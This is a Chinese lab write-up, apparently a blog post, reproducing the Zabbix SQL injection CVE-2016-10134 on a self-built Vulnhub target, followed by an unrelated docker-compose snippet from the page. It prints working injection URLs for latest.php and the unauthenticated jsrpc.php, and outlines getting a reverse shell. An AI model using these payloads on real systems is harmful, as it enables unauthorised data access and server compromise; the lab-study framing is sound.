zabbix jsrpc.php,Vulnhub-zabbix latest.php SQL注入漏洞(CVE-2016-10134)

郑重声明:所用漏洞环境为自建虚拟机vulnhub靶机环境,仅供本人学习使用。

漏洞简述

zabbix是一款服务器监控软件,其由server、agent、web等模块组成,其中web模块由PHP编写,用来显示数据库中的结果。

(引用)2016年8月12日,1n3通过邮件披露了Zabbix软件的jsrpc.php文件在处理profileIdx2参数时存在insert方式的SQL注入漏洞,与官方通告的latest.php文件在处理toggle_ids参数时存在insert方式的SQL注入漏洞属于同一类型的漏洞,只是攻击的位置不同。

影响版本:2.0.5 2.0.13 2.2.x 2.4.2 2.4.5 2.4.7 2.4.8 2.5.0 3.0.0-3.0.3

准备环境

测试机IP:192.168.79.129

靶机IP:192.168.79.131

1. 启动Vulnhub靶机环境:

3cff7625537e

2. 验证靶机应用启用成功:

3cff7625537e

漏洞复现

注入点一:latest.php页面

前提条件:至少需要一个guest账户权限

1. 使用guest账户登录

3cff7625537e

2. 查看cookie,获取zbx_sessionid

3cff7625537e

3. 注入payload(sid取zbx_sessionid后16位):

http://192.168.79.131:8080/latest.php?output=ajax&sid=055e1ffa36164a58&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0xa,database()),0)

3cff7625537e

http://192.168.79.131:8080/latest.php?output=ajax&sid=055e1ffa36164a58&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0xa,user()),0)

3cff7625537e

注入点二:jsrpc.php页面,无须登录

http://192.168.79.131:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,database()),0)

3cff7625537e

http://192.168.79.131:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0)

3cff7625537e

扩展: Get Shell

前提条件:拥有Zabbix管理员权限

方法一:Script

1. 创建一个反弹script

3cff7625537e

2. 使用NC侦听反弹端口

3cff7625537e

3. 触发反弹

3cff7625537e

4. 得到反弹Shell

3cff7625537e

方法二:工具 zabbixPwn.py

引用:https://github.com/RicterZ/zabbixPwn

1. 运行

3cff7625537e

2. 登录Zabbix寻找到hostid:10084

3cff7625537e

3. 填写hostid,继续运行,成功执行命令

3cff7625537e

4. 使用NC侦听反弹端口

3cff7625537e

5. 执行反弹命令

3cff7625537e

6. 得到反弹Shell

3cff7625537e

针对Zabbix的攻击思路(引用来自作者:0xdf)

3cff7625537e

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
好的,首先你需要确保已经安装了 Docker 和 Docker Compose。 接下来,你可以按照以下步骤来安装 zabbix-proxy5.0.31: 1. 创建一个名为 `docker-compose.yml` 的文件,内容如下: ``` version: '3' services: zabbix-proxy: image: zabbix/zabbix-proxy5.0:latest container_name: zabbix-proxy environment: ZBX_HOSTNAME: zabbix-proxy ZBX_SERVER_HOST: zabbix-server ZBX_SERVER_PORT: "10051" ZBX_PROXYMODE: "0" ZBX_LOGTYPE: console ports: - "10051:10051" restart: always ``` 其中: - `image` 指定使用的镜像。 - `container_name` 指定容器的名称。 - `environment` 指定环境变量,包括 zabbix-proxy 的主机名、zabbix-server 的主机名或 IP 地址、监听端口、代理模式和日志输出方式。 - `ports` 将容器的 10051 端口映射到宿主机的 10051 端口。 - `restart` 指定容器停止后自动重启。 2. 在命令行中进入 `docker-compose.yml` 所在目录,运行以下命令启动容器: ``` docker-compose up -d ``` 这个命令将会启动一个名为 `zabbix-proxy` 的容器,并且将会输出容器的 ID。 3. 运行以下命令查看容器是否正常运行: ``` docker ps ``` 如果看到类似如下的输出,说明容器已经成功运行: ``` CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 3f0e931f2d35 zabbix/zabbix-proxy5.0:latest "/sbin/tini -- /usr/…" 10 seconds ago Up 8 seconds 0.0.0.0:10051->10051/tcp, 162/udp zabbix-proxy ``` 现在 zabbix-proxy5.0.31 已经成功运行在 Docker 容器中了。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值